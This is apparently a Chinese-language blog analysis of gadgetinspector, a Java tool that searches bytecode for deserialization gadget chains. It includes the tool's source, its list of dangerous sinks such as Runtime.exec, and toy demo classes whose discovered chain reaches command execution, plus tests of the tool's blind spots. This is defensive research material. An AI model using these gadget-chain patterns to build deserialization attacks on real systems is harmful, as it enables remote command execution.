以作者给出的demo为例,先从宏观层面判断下:
FnConstant.invoke返回值与参数this(参数0,因为序列化时类的所有成员我们都能控制,所以所有成员变量都视为0参)、arg(参数1)的关系:
- 与this的关系:返回了this.value,即与0参有关系
- 与arg的关系:返回值与arg没有任何关系,即与1参没有关系
- 结论就是FnConstant.invoke与参数0有关,表示为FnConstant.invoke()->0
Fndefault.invoke返回值与参数this(参数0)、arg(参数1)的关系:
- 与this的关系:返回条件的第二个分支与this.f有关系,即与0参有关系
- 与arg的关系:返回条件的第一个分支与arg有关系,即与1参有关系
- 结论就是FnConstant.invoke与0参,1参都有关系,表示为Fndefault.invoke()->0、Fndefault.invoke()->1
在这一步中,gadgetinspector是利用ASM来进行方法字节码的分析,主要逻辑是在类PassthroughDiscovery和TaintTrackingMethodVisitor中。特别是TaintTrackingMethodVisitor,它通过标记追踪JVM虚拟机在执行方法时的stack和localvar,并最终得到返回结果是否可以被参数标记污染。
核心实现代码(TaintTrackingMethodVisitor涉及到字节码分析,暂时先不看):
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364public class PassthroughDiscovery {private static final Logger LOGGER = LoggerFactory.getLogger(PassthroughDiscovery.class);private final Map<MethodReference.Handle, Set<MethodReference.Handle>> methodCalls = new HashMap<>();private Map<MethodReference.Handle, Set<Integer>> passthroughDataflow;public void discover(final ClassResourceEnumerator classResourceEnumerator, final GIConfig config) throws IOException {Map<MethodReference.Handle, MethodReference> methodMap = DataLoader.loadMethods();//load之前保存的methods.datMap<ClassReference.Handle, ClassReference> classMap = DataLoader.loadClasses();//load之前保存的classes.datInheritanceMap inheritanceMap = InheritanceMap.load();//load之前保存的inheritanceMap.datMap<String, ClassResourceEnumerator.ClassResource> classResourceByName = discoverMethodCalls(classResourceEnumerator);//查找一个方法中包含的子方法List<MethodReference.Handle> sortedMethods = topologicallySortMethodCalls();//对所有方法构成的图执行逆拓扑排序passthroughDataflow = calculatePassthroughDataflow(classResourceByName, classMap, inheritanceMap, sortedMethods,config.getSerializableDecider(methodMap, inheritanceMap));//计算生成passthrough数据流,涉及到字节码分析}......private List<MethodReference.Handle> topologicallySortMethodCalls() {Map<MethodReference.Handle, Set<MethodReference.Handle>> outgoingReferences = new HashMap<>();for (Map.Entry<MethodReference.Handle, Set<MethodReference.Handle>> entry : methodCalls.entrySet()) {MethodReference.Handle method = entry.getKey();outgoingReferences.put(method, new HashSet<>(entry.getValue()));}// 对所有方法构成的图执行逆拓扑排序LOGGER.debug("Performing topological sort...");Set<MethodReference.Handle> dfsStack = new HashSet<>();Set<MethodReference.Handle> visitedNodes = new HashSet<>();List<MethodReference.Handle> sortedMethods = new ArrayList<>(outgoingReferences.size());for (MethodReference.Handle root : outgoingReferences.keySet()) {dfsTsort(outgoingReferences, sortedMethods, visitedNodes, dfsStack, root);}LOGGER.debug(String.format("Outgoing references %d, sortedMethods %d", outgoingReferences.size(), sortedMethods.size()));return sortedMethods;}......private static void dfsTsort(Map<MethodReference.Handle, Set<MethodReference.Handle>> outgoingReferences,List<MethodReference.Handle> sortedMethods, Set<MethodReference.Handle> visitedNodes,Set<MethodReference.Handle> stack, MethodReference.Handle node) {if (stack.contains(node)) {//防止在dfs一条方法调用链中进入循环return;}if (visitedNodes.contains(node)) {//防止对某个方法及子方法重复排序return;}Set<MethodReference.Handle> outgoingRefs = outgoingReferences.get(node);if (outgoingRefs == null) {return;}stack.add(node);for (MethodReference.Handle child : outgoingRefs) {dfsTsort(outgoingReferences, sortedMethods, visitedNodes, stack, child);}stack.remove(node);visitedNodes.add(node);sortedMethods.add(node);}}拓扑排序
有向无环图(DAG)才有拓扑排序,非 DAG 图没有拓扑排序。 当有向无环图满足以下条件时:
- 每一个顶点出现且只出现一次
- 若A在序列中排在B的前面,则在图中不存在从B到A的路径
这样的图,是一个拓扑排序的图。树结构其实可以转化为拓扑排序,而拓扑排序 不一定能够转化为树。
以上面的拓扑排序图为例,用一个字典表示图结构
1234567graph = {"a": ["b","d"],"b": ["c"],"d": ["e","c"],"e": ["c"],"c": [],}代码实现
123456789101112131415161718192021222324252627graph = {"a": ["b","d"],"b": ["c"],"d": ["e","c"],"e": ["c"],"c": [],}def TopologicalSort(graph):degrees = dict((u, 0) for u in graph)for u in graph:for v in graph[u]:degrees[v] += 1#入度为0的插入队列queue = [u for u in graph if degrees[u] == 0]res = []while queue:u = queue.pop()res.append(u)for v in graph[u]:# 移除边,即将当前元素相关元素的入度-1degrees[v] -= 1if degrees[v] == 0:queue.append(v)return resprint(TopologicalSort(graph)) # ['a', 'd', 'e', 'b', 'c']但是在方法的调用中,我们希望最后的结果是c、b、e、d、a,这一步需要逆拓扑排序,正向排序使用的BFS,那么得到相反结果可以使用DFS。为什么在方法调用中需要使用逆拓扑排序呢,这与生成passthrough数据流有关。看下面一个例子:
123456...public String parentMethod(String arg){String vul = Obj.childMethod(arg);return vul;}...那么这里arg与返回值到底有没有关系呢?假设Obj.childMethod为
12345...public String childMethod(String carg){return carg.toString();}...由于childMethod的返回值carg与有关,那么可以判定parentMethod的返回值与参数arg是有关系的。所以如果存在子方法调用并传递了父方法参数给子方法时,需要先判断子方法返回值与子方法参数的关系。因此需要让子方法的判断在前面,这就是为什么要进行逆拓扑排序。
从下图可以看出outgoingReferences的数据结构为:
123456{method1:(method2,method3,method4),method5:(method1,method6),...}而这个结构正好适合逆拓扑排序
但是上面说拓扑排序时不能形成环,但是在方法调用中肯定是会存在环的。作者是如何避免的呢?
在上面的dfsTsort实现代码中可以看到使用了stack和visitedNodes,stack保证了在进行逆拓扑排序时不会形成环,visitedNodes避免了重复排序。使用如下一个调用图来演示过程:
从图中可以看到有环med1->med2->med6->med1,并且有重复的调用med3,严格来说并不能进行逆拓扑排序,但是通过stack、visited记录访问过的方法,就能实现逆拓扑排序。为了方便解释把上面的图用一个树来表示:
对上图进行逆拓扑排序(DFS方式):
从med1开始,先将med1加入stack中,此时stack、visited、sortedmethods状态如下:
med1还有子方法?有,继续深度遍历。将med2放入stack,此时的状态:
med2有子方法吗?有,继续深度遍历。将med3放入stack,此时的状态:
med3有子方法吗?有,继续深度遍历。将med7放入stack,此时的状态:
med7有子方法吗?没有,从stack中弹出med7并加入visited和sortedmethods,此时的状态:
回溯到上一层,med3还有其他子方法吗?有,med8,将med8放入stack,此时的状态:
med8还有子方法吗?没有,弹出stack,加入visited与sortedmethods,此时的状态:
回溯到上一层,med3还有其他子方法吗?没有了,弹出stack,加入visited与sortedmethods,此时的状态:
回溯到上一层,med2还有其他子方法吗?有,med6,将med6加入stack,此时的状态:
med6还有子方法吗?有,med1,med1在stack中?不加入,抛弃。此时状态和上一步一样
回溯到上一层,med6还有其他子方法吗?没有了,弹出stack,加入visited和sortedmethods,此时的状态:
回溯到上一层,med2还有其他子方法吗?没有了,弹出stack,加入visited和sortedmethods,此时的状态:
回溯到上一层,med1还有其他子方法吗?有,med3,med3在visited中?在,抛弃。
回溯到上一层,med1还有其他子方法吗?有,med4,将med4加入stack,此时的状态:
med4还有其他子方法吗?没有,弹出stack,加入visited和sortedmethods中,此时的状态:
回溯到上一层,med1还有其他子方法吗?没有了,弹出stack,加入visited和sortedmethods中,此时的状态(即最终状态):
所以最后的逆拓扑排序结果为:med7、med8、med3、med6、med2、med4、med1。
生成passthrough数据流
在calculatePassthroughDataflow中遍历了sortedmethods,并通过字节码分析,生成了方法返回值与参数关系的passthrough数据流。注意到下面的序列化决定器,作者内置了三种:JDK、Jackson、Xstream,会根据具体的序列化决定器判定决策过程中的类是否符合对应库的反序列化要求,不符合的就跳过:
- 对于JDK(ObjectInputStream),类否继承了Serializable接口
- 对于Jackson,类是否存在0参构造器
- 对于Xstream,类名能否作为有效的XML标签
生成passthrough数据流代码:
1234567891011121314151617181920212223242526272829...private static Map<MethodReference.Handle, Set<Integer>> calculatePassthroughDataflow(Map<String, ClassResourceEnumerator.ClassResource> classResourceByName,Map<ClassReference.Handle, ClassReference> classMap,InheritanceMap inheritanceMap,List<MethodReference.Handle> sortedMethods,SerializableDecider serializableDecider) throws IOException {final Map<MethodReference.Handle, Set<Integer>> passthroughDataflow = new HashMap<>();for (MethodReference.Handle method : sortedMethods) {//依次遍历sortedmethods,并且每个方法的子方法判定总在这个方法之前,这是通过的上面的逆拓扑排序实现的。if (method.getName().equals("<clinit>")) {continue;}ClassResourceEnumerator.ClassResource classResource = classResourceByName.get(method.getClassReference().getName());try (InputStream inputStream = classResource.getInputStream()) {ClassReader cr = new ClassReader(inputStream);try {PassthroughDataflowClassVisitor cv = new PassthroughDataflowClassVisitor(classMap, inheritanceMap,passthroughDataflow, serializableDecider, Opcodes.ASM6, method);cr.accept(cv, ClassReader.EXPAND_FRAMES);//通过结合classMap、inheritanceMap、已判定出的passthroughDataflow结果、序列化决定器信息来判定当前method的返回值与参数的关系passthroughDataflow.put(method, cv.getReturnTaint());//将判定后的method与有关系的污染点加入passthroughDataflow} catch (Exception e) {LOGGER.error("Exception analyzing " + method.getClassReference().getName(), e);}} catch (IOException e) {LOGGER.error("Unable to analyze " + method.getClassReference().getName(), e);}}return passthroughDataflow;}...最后生成了passthrough.dat:
Step3 枚举passthrough调用图
这一步和上一步类似,gadgetinspector 会再次扫描全部的Java方法,但检查的不再是参数与返回结果的关系,而是方法的参数与其所调用的子方法的关系,即子方法的参数是否可以被父方法的参数所影响。那么为什么要进行上一步的生成passthrough数据流呢?由于这一步的判断也是在字节码分析中,所以这里只能先进行一些猜测,如下面这个例子:
1234567891011...private MyObject obj;public void parentMethod(Object arg){...TestObject obj1 = new TestObject();Object obj2 = obj1.childMethod1(arg);this.obj.childMethod(obj2);...}...如果不进行生成passthrough数据流操作,就无法判断TestObject.childMethod1的返回值是否会受到参数1的影响,也就无法继续判断parentMethod的arg参数与子方法MyObject.childmethod的参数传递关系。
作者给出的例子:
AbstractTableModel$ff19274a.hashcode与子方法IFn.invoke:
- AbstractTableModel$ff19274a.hashcode的this(0参)传递给了IFn.invoke的1参,表示为0->IFn.invoke()@1
- 由于f是通过this.__clojureFnMap(0参)获取的,而f又为IFn.invoke()的this(0参),即AbstractTableModel$ff19274a.hashcode的0参传递给了IFn.invoke的0参,表示为0->IFn.invoke()@0
FnCompose.invoke与子方法IFn.invoke:
- FnCompose.invoked的arg(1参)传递给了IFn.invoke的1参,表示为1->IFn.invoke()@1
- f1为FnCompose的属性(this,0参),被做为了IFn.invoke的this(0参数)传递,表示为0->IFn.invoke()@1
- f1.invoke(arg)做为一个整体被当作1参传递给了IFn.invoke,由于f1在序列化时我们可以控制具体是IFn的哪个实现类,所以具体调用哪个实现类的invoke也相当于能够控制,即f1.invoke(arg)这个整体可以视为0参数传递给了IFn.invoke的1参(这里只是进行的简单猜测,具体实现在字节码分析中,可能也体现了作者说的合理的风险判断吧),表示为0->IFn.invoke()@1
在这一步中,gadgetinspector也是利用ASM来进行字节码的分析,主要逻辑是在类CallGraphDiscovery和ModelGeneratorClassVisitor中。在ModelGeneratorClassVisitor中通过标记追踪JVM虚拟机在执行方法时的stack和localvar,最终得到方法的参数与其所调用的子方法的参数传递关系。
生成passthrough调用图代码(暂时省略ModelGeneratorClassVisitor的实现,涉及到字节码分析):
12345678910111213141516171819202122232425public class CallGraphDiscovery {private static final Logger LOGGER = LoggerFactory.getLogger(CallGraphDiscovery.class);private final Set<GraphCall> discoveredCalls = new HashSet<>();public void discover(final ClassResourceEnumerator classResourceEnumerator, GIConfig config) throws IOException {Map<MethodReference.Handle, MethodReference> methodMap = DataLoader.loadMethods();//加载所有方法Map<ClassReference.Handle, ClassReference> classMap = DataLoader.loadClasses();//加载所有类InheritanceMap inheritanceMap = InheritanceMap.load();//加载继承图Map<MethodReference.Handle, Set<Integer>> passthroughDataflow = PassthroughDiscovery.load();//加载passthrough数据流SerializableDecider serializableDecider = config.getSerializableDecider(methodMap, inheritanceMap);//序列化决定器for (ClassResourceEnumerator.ClassResource classResource : classResourceEnumerator.getAllClasses()) {try (InputStream in = classResource.getInputStream()) {ClassReader cr = new ClassReader(in);try {cr.accept(new ModelGeneratorClassVisitor(classMap, inheritanceMap, passthroughDataflow, serializableDecider, Opcodes.ASM6),ClassReader.EXPAND_FRAMES);//通过结合classMap、inheritanceMap、passthroughDataflow结果、序列化决定器信息来判定当前method参数与子方法传递调用关系} catch (Exception e) {LOGGER.error("Error analyzing: " + classResource.getName(), e);}}}}最后生成了passthrough.dat:
Step4 搜索可用的source
这一步会根据已知的反序列化漏洞的入口,检查所有可以被触发的方法。例如,在利用链中使用代理时,任何可序列化并且是
java/lang/reflect/InvocationHandler
子类的invoke方法都可以视为source。这里还会根据具体的反序列化库决定类是否能被序列化。搜索可用的source:
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566public class SimpleSourceDiscovery extends SourceDiscovery {@Overridepublic void discover(Map<ClassReference.Handle, ClassReference> classMap,Map<MethodReference.Handle, MethodReference> methodMap,InheritanceMap inheritanceMap) {final SerializableDecider serializableDecider = new SimpleSerializableDecider(inheritanceMap);for (MethodReference.Handle method : methodMap.keySet()) {if (Boolean.TRUE.equals(serializableDecider.apply(method.getClassReference()))) {if (method.getName().equals("finalize") && method.getDesc().equals("()V")) {addDiscoveredSource(new Source(method, 0));}}}// 如果类实现了readObject,则传入的ObjectInputStream被认为是污染的for (MethodReference.Handle method : methodMap.keySet()) {if (Boolean.TRUE.equals(serializableDecider.apply(method.getClassReference()))) {if (method.getName().equals("readObject") && method.getDesc().equals("(Ljava/io/ObjectInputStream;)V")) {addDiscoveredSource(new Source(method, 1));}}}// 使用代理技巧时,任何扩展了serializable and InvocationHandler的类会受到污染。for (ClassReference.Handle clazz : classMap.keySet()) {if (Boolean.TRUE.equals(serializableDecider.apply(clazz))&& inheritanceMap.isSubclassOf(clazz, new ClassReference.Handle("java/lang/reflect/InvocationHandler"))) {MethodReference.Handle method = new MethodReference.Handle(clazz, "invoke", "(Ljava/lang/Object;Ljava/lang/reflect/Method;[Ljava/lang/Object;)Ljava/lang/Object;");addDiscoveredSource(new Source(method, 0));}}// hashCode()或equals()是将对象放入HashMap的标准技巧的可访问入口点for (MethodReference.Handle method : methodMap.keySet()) {if (Boolean.TRUE.equals(serializableDecider.apply(method.getClassReference()))) {if (method.getName().equals("hashCode") && method.getDesc().equals("()I")) {addDiscoveredSource(new Source(method, 0));}if (method.getName().equals("equals") && method.getDesc().equals("(Ljava/lang/Object;)Z")) {addDiscoveredSource(new Source(method, 0));addDiscoveredSource(new Source(method, 1));}}}// 使用比较器代理,可以跳转到任何groovy Closure的call()/doCall()方法,所有的args都被污染// https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/Groovy1.javafor (MethodReference.Handle method : methodMap.keySet()) {if (Boolean.TRUE.equals(serializableDecider.apply(method.getClassReference()))&& inheritanceMap.isSubclassOf(method.getClassReference(), new ClassReference.Handle("groovy/lang/Closure"))&& (method.getName().equals("call") || method.getName().equals("doCall"))) {addDiscoveredSource(new Source(method, 0));Type[] methodArgs = Type.getArgumentTypes(method.getDesc());for (int i = 0; i < methodArgs.length; i++) {addDiscoveredSource(new Source(method, i + 1));}}}}...这一步的结果会保存在文件sources.dat中:
Step5 搜索生成调用链
这一步会遍历全部的source,并在callgraph.dat中递归查找所有可以继续传递污点参数的子方法调用,直至遇到sink中的方法。
搜索生成调用链:
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120public class GadgetChainDiscovery {private static final Logger LOGGER = LoggerFactory.getLogger(GadgetChainDiscovery.class);private final GIConfig config;public GadgetChainDiscovery(GIConfig config) {this.config = config;}public void discover() throws Exception {Map<MethodReference.Handle, MethodReference> methodMap = DataLoader.loadMethods();InheritanceMap inheritanceMap = InheritanceMap.load();Map<MethodReference.Handle, Set<MethodReference.Handle>> methodImplMap = InheritanceDeriver.getAllMethodImplementations(inheritanceMap, methodMap);//得到方法的所有子类方法实现(被子类重写的方法)final ImplementationFinder implementationFinder = config.getImplementationFinder(methodMap, methodImplMap, inheritanceMap);//将方法的所有子类方法实现保存到methodimpl.dattry (Writer writer = Files.newBufferedWriter(Paths.get("methodimpl.dat"))) {for (Map.Entry<MethodReference.Handle, Set<MethodReference.Handle>> entry : methodImplMap.entrySet()) {writer.write(entry.getKey().getClassReference().getName());writer.write("\t");writer.write(entry.getKey().getName());writer.write("\t");writer.write(entry.getKey().getDesc());writer.write("\n");for (MethodReference.Handle method : entry.getValue()) {writer.write("\t");writer.write(method.getClassReference().getName());writer.write("\t");writer.write(method.getName());writer.write("\t");writer.write(method.getDesc());writer.write("\n");}}}//方法调用map,key为父方法,value为子方法与父方法参数传递关系Map<MethodReference.Handle, Set<GraphCall>> graphCallMap = new HashMap<>();for (GraphCall graphCall : DataLoader.loadData(Paths.get("callgraph.dat"), new GraphCall.Factory())) {MethodReference.Handle caller = graphCall.getCallerMethod();if (!graphCallMap.containsKey(caller)) {Set<GraphCall> graphCalls = new HashSet<>();graphCalls.add(graphCall);graphCallMap.put(caller, graphCalls);} else {graphCallMap.get(caller).add(graphCall);}}//exploredMethods保存在调用链从查找过程中已经访问过的方法节点,methodsToExplore保存调用链Set<GadgetChainLink> exploredMethods = new HashSet<>();LinkedList<GadgetChain> methodsToExplore = new LinkedList<>();//加载所有sources,并将每个source作为每条链的第一个节点for (Source source : DataLoader.loadData(Paths.get("sources.dat"), new Source.Factory())) {GadgetChainLink srcLink = new GadgetChainLink(source.getSourceMethod(), source.getTaintedArgIndex());if (exploredMethods.contains(srcLink)) {continue;}methodsToExplore.add(new GadgetChain(Arrays.asList(srcLink)));exploredMethods.add(srcLink);}long iteration = 0;Set<GadgetChain> discoveredGadgets = new HashSet<>();//使用广度优先搜索所有从source到sink的调用链while (methodsToExplore.size() > 0) {if ((iteration % 1000) == 0) {LOGGER.info("Iteration " + iteration + ", Search space: " + methodsToExplore.size());}iteration += 1;GadgetChain chain = methodsToExplore.pop();//从队首弹出一条链GadgetChainLink lastLink = chain.links.get(chain.links.size()-1);//取这条链最后一个节点Set<GraphCall> methodCalls = graphCallMap.get(lastLink.method);//获取当前节点方法所有子方法与当前节点方法参数传递关系if (methodCalls != null) {for (GraphCall graphCall : methodCalls) {if (graphCall.getCallerArgIndex() != lastLink.taintedArgIndex) {//如果当前节点方法的污染参数与当前子方法受父方法参数影响的Index不一致则跳过continue;}Set<MethodReference.Handle> allImpls = implementationFinder.getImplementations(graphCall.getTargetMethod());//获取子方法所在类的所有子类重写方法for (MethodReference.Handle methodImpl : allImpls) {GadgetChainLink newLink = new GadgetChainLink(methodImpl, graphCall.getTargetArgIndex());//新方法节点if (exploredMethods.contains(newLink)) {//如果新方法已近被访问过了,则跳过,这里能减少开销。但是这一步跳过会使其他链/分支链经过此节点时,由于已经此节点被访问过了,链会在这里断掉。那么如果这个条件去掉就能实现找到所有链了吗?这里去掉会遇到环状问题,造成路径无限增加...continue;}GadgetChain newChain = new GadgetChain(chain, newLink);//新节点与之前的链组成新链if (isSink(methodImpl, graphCall.getTargetArgIndex(), inheritanceMap)) {//如果到达了sink,则加入discoveredGadgetsdiscoveredGadgets.add(newChain);} else {//新链加入队列methodsToExplore.add(newChain);//新节点加入已访问集合exploredMethods.add(newLink);}}}}}//保存搜索到的利用链到gadget-chains.txttry (OutputStream outputStream = Files.newOutputStream(Paths.get("gadget-chains.txt"));Writer writer = new OutputStreamWriter(outputStream, StandardCharsets.UTF_8)) {for (GadgetChain chain : discoveredGadgets) {printGadgetChain(writer, chain);}}LOGGER.info("Found {} gadget chains.", discoveredGadgets.size());}...作者给出的sink方法:
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879private boolean isSink(MethodReference.Handle method, int argIndex, InheritanceMap inheritanceMap) {if (method.getClassReference().getName().equals("java/io/FileInputStream")&& method.getName().equals("<init>")) {return true;}if (method.getClassReference().getName().equals("java/io/FileOutputStream")&& method.getName().equals("<init>")) {return true;}if (method.getClassReference().getName().equals("java/nio/file/Files")&& (method.getName().equals("newInputStream")|| method.getName().equals("newOutputStream")|| method.getName().equals("newBufferedReader")|| method.getName().equals("newBufferedWriter"))) {return true;}if (method.getClassReference().getName().equals("java/lang/Runtime")&& method.getName().equals("exec")) {return true;}/*if (method.getClassReference().getName().equals("java/lang/Class")&& method.getName().equals("forName")) {return true;}if (method.getClassReference().getName().equals("java/lang/Class")&& method.getName().equals("getMethod")) {return true;}*/// If we can invoke an arbitrary method, that's probably interesting (though this doesn't assert that we// can control its arguments). Conversely, if we can control the arguments to an invocation but not what// method is being invoked, we don't mark that as interesting.if (method.getClassReference().getName().equals("java/lang/reflect/Method")&& method.getName().equals("invoke") && argIndex == 0) {return true;}if (method.getClassReference().getName().equals("java/net/URLClassLoader")&& method.getName().equals("newInstance")) {return true;}if (method.getClassReference().getName().equals("java/lang/System")&& method.getName().equals("exit")) {return true;}if (method.getClassReference().getName().equals("java/lang/Shutdown")&& method.getName().equals("exit")) {return true;}if (method.getClassReference().getName().equals("java/lang/Runtime")&& method.getName().equals("exit")) {return true;}if (method.getClassReference().getName().equals("java/nio/file/Files")&& method.getName().equals("newOutputStream")) {return true;}if (method.getClassReference().getName().equals("java/lang/ProcessBuilder")&& method.getName().equals("<init>") && argIndex > 0) {return true;}if (inheritanceMap.isSubclassOf(method.getClassReference(), new ClassReference.Handle("java/lang/ClassLoader"))&& method.getName().equals("<init>")) {return true;}if (method.getClassReference().getName().equals("java/net/URL") && method.getName().equals("openStream")) {return true;}// Some groovy-specific sinksif (method.getClassReference().getName().equals("org/codehaus/groovy/runtime/InvokerHelper")&& method.getName().equals("invokeMethod") && argIndex == 1) {return true;}if (inheritanceMap.isSubclassOf(method.getClassReference(), new ClassReference.Handle("groovy/lang/MetaClass"))&& Arrays.asList("invokeMethod", "invokeConstructor", "invokeStaticMethod").contains(method.getName())) {return true;}return false;}对于每个入口节点来说,其全部子方法调用、孙子方法调用等等递归下去,就构成了一棵树。之前的步骤所做的,就相当于生成了这颗树,而这一步所做的,就是从根节点出发,找到一条通往叶子节点的道路,使得这个叶子节点正好是我们所期望的sink方法。gadgetinspector对树的遍历采用的是广度优先(BFS),而且对于已经检查过的节点会直接跳过,这样减少了运行开销,避免了环路,但是丢掉了很多其他链。
这个过程看起来就像下面这样:
通过污点的传递,最终找到从source->sink的利用链
注:targ表示污染参数的index,0->1这样的表示父方法的0参传递给了子方法的1参
样例分析
现在根据作者的样例写个具体的demo实例来测试下上面这些步骤。
demo如下:
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103IFn.java:package com.demo.ifn;import java.io.IOException;public interface IFn {public Object invokeCall(Object arg) throws IOException;}FnEval.javapackage com.demo.ifn;import java.io.IOException;import java.io.Serializable;public class FnEval implements IFn, Serializable {public FnEval() {}public Object invokeCall(Object arg) throws IOException {return Runtime.getRuntime().exec((String) arg);}}FnConstant.java:package com.demo.ifn;import java.io.Serializable;public class FnConstant implements IFn , Serializable {private Object value;public FnConstant(Object value) {this.value = value;}public Object invokeCall(Object arg) {return value;}}FnCompose.java:package com.demo.ifn;import java.io.IOException;import java.io.Serializable;public class FnCompose implements IFn, Serializable {private IFn f1, f2;public FnCompose(IFn f1, IFn f2) {this.f1 = f1;this.f2 = f2;}public Object invokeCall(Object arg) throws IOException {return f2.invokeCall(f1.invokeCall(arg));}}TestDemo.java:package com.demo.ifn;public class TestDemo {//测试拓扑排序的正确性private String test;public String pMethod(String arg){String vul = cMethod(arg);return vul;}public String cMethod(String arg){return arg.toUpperCase();}}AbstractTableModel.java:package com.demo.model;import com.demo.ifn.IFn;import java.io.IOException;import java.io.Serializable;import java.util.HashMap;public class AbstractTableModel implements Serializable {private HashMap<String, IFn> __clojureFnMap;public AbstractTableModel(HashMap<String, IFn> clojureFnMap) {this.__clojureFnMap = clojureFnMap;}public int hashCode() {IFn f = __clojureFnMap.get("hashCode");try {f.invokeCall(this);} catch (IOException e) {e.printStackTrace();}return this.__clojureFnMap.hashCode() + 1;}}注:下面截图中数据的顺序做了调换,同时数据也只给出com/demo中的数据
Step1 枚举全部类及每个类所有方法
classes.dat:
methods.dat:
Step2 生成passthrough数据流
passthrough.dat:
可以看到IFn的子类中只有FnConstant的invokeCall在passthrough数据流中,因为其他几个在静态分析中无法判断返回值与参数的关系。同时TestDemo的cMethod与pMethod都在passthrough数据流中,这也说明了拓扑排序那一步的必要性和正确性。
Step3 枚举passthrough调用图
callgraph.dat:
Step4 搜索可用的source
sources.dat:
Step5 搜索生成调用链
在gadget-chains.txt中找到了如下链:
123com/demo/model/AbstractTableModel.hashCode()I (0)com/demo/ifn/FnEval.invokeCall(Ljava/lang/Object;)Ljava/lang/Object; (1)java/lang/Runtime.exec(Ljava/lang/String;)Ljava/lang/Process; (1)可以看到选择的确实是找了一条最短的路径,并没有经过FnCompose、FnConstant路径。
环路造成路径爆炸
上面流程分析第五步中说到,如果去掉已访问过节点的判断会怎么样呢,能不能生成经过FnCompose、FnConstant的调用链呢?
陷入了爆炸状态,Search space无限增加,其中必定存在环路。作者使用的策略是访问过的节点就不再访问了,这样解决的环路问题,但是丢失了其他链。
比如上面的FnCompose类:
123456public class Fncompose implements IFn{private IFn f1,f2;public Object invoke(Object arg){return f2.invoke(f1.invoke(arg));}}由于IFn是接口,所以在调用链生成中会查找是它的子类,假如f1,f2都是FnCompose类的对象,这样形成了环路。
隐式调用
测试隐式调用看工具能否发现,将FnEval.java做一些修改:
123456789101112131415161718192021222324252627FnEval.javapackage com.demo.ifn;import java.io.IOException;import java.io.Serializable;public class FnEval implements IFn, Serializable {private String cmd;public FnEval() {}@Overridepublic String toString() {try {Runtime.getRuntime().exec(this.cmd);} catch (IOException e) {e.printStackTrace();}return "FnEval{}";}public Object invokeCall(Object arg) throws IOException {this.cmd = (String) arg;return this + " test";}}结果:
123456com/demo/model/AbstractTableModel.hashCode()I (0)com/demo/ifn/FnEval.invokeCall(Ljava/lang/Object;)Ljava/lang/Object; (0)java/lang/StringBuilder.append(Ljava/lang/Object;)Ljava/lang/StringBuilder; (1)java/lang/String.valueOf(Ljava/lang/Object;)Ljava/lang/String; (0)com/demo/ifn/FnEval.toString()Ljava/lang/String; (0)java/lang/Runtime.exec(Ljava/lang/String;)Ljava/lang/Process; (1)隐式调用了tostring方法,说明在字节码分析中做了查找隐式调用这一步。
不遵循反射调用
在github的工具说明中,作者也说到了在静态分析中这个工具的盲点,像下面这中
FnEval.class.getMethod("exec", String.class).invoke(null, arg)
写法是不遵循反射调用的,将FnEval.java修改:1234567891011121314151617181920212223242526272829FnEval.javapackage com.demo.ifn;import java.io.IOException;import java.io.Serializable;import java.lang.reflect.InvocationTargetException;public class FnEval implements IFn, Serializable {public FnEval() {}public static void exec(String arg) throws IOException {Runtime.getRuntime().exec(arg);}public Object invokeCall(Object arg) throws IOException {try {return FnEval.class.getMethod("exec", String.class).invoke(null, arg);} catch (NoSuchMethodException e) {e.printStackTrace();} catch (IllegalAccessException e) {e.printStackTrace();} catch (InvocationTargetException e) {e.printStackTrace();}return null;}}经过测试,确实没有发现。但是将
FnEval.class.getMethod("exec", String.class).invoke(null, arg)
改为this.getClass().getMethod("exec", String.class).invoke(null, arg)
这种写法却是可以发现的。特殊语法
测试一下比较特殊的语法呢,比如lambda语法?将FnEval.java做一些修改:
12345678910111213141516171819202122FnEval.java:package com.demo.ifn;import java.io.IOException;import java.io.Serializable;public class FnEval implements IFn, Serializable {public FnEval() {}interface ExecCmd {public Object exec(String cmd) throws IOException;}public Object invokeCall(Object arg) throws IOException {ExecCmd execCmd = cmd -> {return Runtime.getRuntime().exec(cmd);};return execCmd.exec((String) arg);}}经过测试,没有检测到这条利用链。说明目前语法分析那一块还没有对特殊语法分析。
匿名内部类
测试匿名内部类,将FnEval.java做一些修改:
12345678910111213141516171819202122232425262728FnEval.java:package com.demo.ifn;import java.io.IOException;import java.io.Serializable;public class FnEval implements IFn, Serializable {public FnEval() {}interface ExecCmd {public Object exec(String cmd) throws IOException;}public Object callExec(ExecCmd execCmd, String cmd) throws IOException {return execCmd.exec(cmd);}public Object invokeCall(Object arg) throws IOException {return callExec(new ExecCmd() {@Overridepublic Object exec(String cmd) throws IOException {return Runtime.getRuntime().exec(cmd);}}, (String) arg);}}经过测试,没有检测到这条利用链。说明目前语法分析那一块还没有对匿名内部类的分析。
sink->source?
既然能source->sink,那么能不能sink->source呢?因为搜索source->sink时,source和sink都是已知的,如果搜索sink->source时,sink与soure也是已知的,那么source->sink与sink->source好像没有什么区别?如果能将source总结为参数可控的一类特征,那么sink->source这种方式是一种非常好的方式,不仅能用在反序列化漏洞中,还能用在其他漏洞中(例如模板注入)。但是这里也还有一些问题,比如反序列化是将this以及类的属性都当作了0参,因为反序列化时这些都是可控的,但是在其他漏洞中这些就不一定可控了。
目前还不知道具体如何实现以及会有哪些问题,暂时先不写。
缺陷
目前还没有做过大量测试,只是从宏观层面分析了这个工具的大致原理。结合平安集团分析文章以及上面的测试目前可以总结出一下几个缺点(不止这些缺陷):
- callgraph生成不完整
- 调用链搜索结果不完整,这是由于查找策略导致的
- 一些特殊语法、匿名内部类还不支持
- ...
设想与改进
- 对以上几个缺陷进行改进
- 结合已知的利用链(如ysoserial等)不断测试
- 尽可能列出所有链并结合人工筛选判断,而作者使用的策略是只要经过这个节点有一条链,其他链经过这个节点时就不再继续寻找下去。主要解决的就是最后那个调用链环路问题,目前看到几种方式:
- DFS+最大深度限制
- 继续使用BFS,人工检查生成的调用链,把无效的callgraph去掉,重复运行
- 调用链缓存(这一个暂时还没明白具体怎么解决环路的,只是看到了这个方法)
